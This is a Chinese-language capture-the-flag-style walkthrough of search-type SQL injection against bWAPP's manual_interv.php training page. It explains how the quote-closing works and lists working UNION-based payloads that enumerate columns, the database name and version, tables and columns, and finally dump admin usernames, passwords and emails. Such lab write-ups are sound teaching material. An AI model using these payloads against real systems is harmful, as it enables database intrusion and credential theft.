1、输入验证码,多想也没用。
SQL注入之bWAPP之manual_interv.php
SQL注入之bWAPP之manual_interv.php
然后跳转到
SQL注入之bWAPP之manual_interv.php
SQL注入之bWAPP之manual_interv.php
熟悉的注入页面。猜想验证码的作用应该就是起到一个登陆验证的作用,查看“manual_interv.php”,代码如下:

if(isset($_POST["form"]) && isset($_SESSION["captcha"]))
{

    if($_POST["captcha_user"] == $_SESSION["captcha"])
    {

        $_SESSION["manual_interv"] = 1;

        header("Location: sqli_9.php");

        exit;

    }

    else
    {

        $message = "<font color=\"red\">Incorrect CAPTCHA!</font>";

    }

}

判断验证码,并跳转到“sqli_9.php”。
下面是搜索型SQL的代码:
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
之前忘了说,搜索型注入为什么输入“1%'and'%'='”会是正常的不报错的,因为“1%'”这里的百分号和单引号(%'),闭合了代码中“LIKE '%”,二“and'%'='”这里的('%'=')是为了闭合代码最后面的“%'";”;注入进去就变成了“SELECT * FROM movies WHERE title LIKE '%" 1%'and'%'=' "%'”,意思就是搜索“1”,后面的“‘%’=‘%’”成了一个为真的判断。输入“1%'查询语句+--+”,是闭合前面的搜索查询,并调用我们注入的查询语句,然后注释掉后面的内容。
下面接着讲这次的SQL注入。
2、输入个单引号进行判断。
SQL注入之bWAPP之manual_interv.php
报错又有“%”,果断尝试搜索型注入。输入“title=1%'and'%'='”,结果如图:
SQL注入之bWAPP之manual_interv.php
3、判断字段数:
输入“title=1%'order by 7 --+”正常,输入“title=1%'order by 8 --+”报错,结果如图:
SQL注入之bWAPP之manual_interv.php
SQL注入之bWAPP之manual_interv.php
所以字段数为7。
4、查看显示位:
输入“title=1%'union select 1,2,3,4,5,6,7 --+”,结果如图:
SQL注入之bWAPP之manual_interv.php
5、查询数据库等信息:
输入“title=1%'union select 1,database(),version(),4,user(),6,7 --+”,查询数据库名为bwapp、数据库版本为5.5.53、当前用户为root@localhost,结果如图:
SQL注入之bWAPP之manual_interv.php
6、查询表名:
输入“title=1%'union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema='bwapp'--+”,发现users表较为重要,结果如图:
SQL注入之bWAPP之manual_interv.php
7、查询字段名:
输入“title=1%'union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name='users'--+”,发现较重要的字段有admin、password、email,结果如图:
SQL注入之bWAPP之manual_interv.php
8、查询字段内容:
输入“title=1%'union select 1,database(),version(),group_concat(admin,"||",password,"||",email),user(),6,7 from users --+”,结果如图:
SQL注入之bWAPP之manual_interv.php